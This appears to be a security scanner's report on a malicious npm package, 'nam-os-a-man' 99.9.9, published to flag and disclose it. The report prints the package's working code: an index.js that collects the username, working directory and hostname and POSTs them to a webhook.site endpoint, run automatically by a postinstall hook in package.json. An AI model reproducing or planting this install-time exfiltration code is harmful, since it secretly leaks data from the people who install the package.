nam-os-a-man 99.9.9
Exfiltrates system info to webhook.site
Sends a serialized Node host profile through an HTTP POSTJavaScript accesses hostname near an OOB endpoint and HTTP request
SHA-2566551f3b7dc74b09814f457d2c4e6a021acc81807bca5c614211b4bc62fa896c6
Also flagged by osv (MAL-2026-6967: Malicious code in nam-os-a-man (npm)) +2 more.
Evidence
1const os = require('os');
2const https = require('https');
3
4function localIP() {
5 const nets = os.networkInterfaces();
6 for (const iface of Object.values(nets)) {
7 for (const net of iface) {
8 if (net.family === 'IPv4' && !net.internal) return net.address;
9 }
10 }
11 return 'unknown';
12}
13
14const payload = JSON.stringify({
15 user: os.userInfo().username,
16 cwd: process.env.INIT_CWD || process.cwd(),
17 hostname: os.hostname()
18});
19
20const req = https.request(
21 'https://webhook.site/9bbc2089-62c5-46d8-bfaf-f238cc8d0275',
22 { method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) } }
23);
24req.on('error', () => {});
25req.write(payload);
26req.end();
1{
2 "name": "nam-os-a-man",
3 "version": "99.9.9",
4 "description": "",
5 "main": "index.js",
6 "scripts": {
7 "postinstall": "node index.js"
8 },
9 "keywords": [],
⋯4 lines
No evidence locations were recorded for this file. Raw result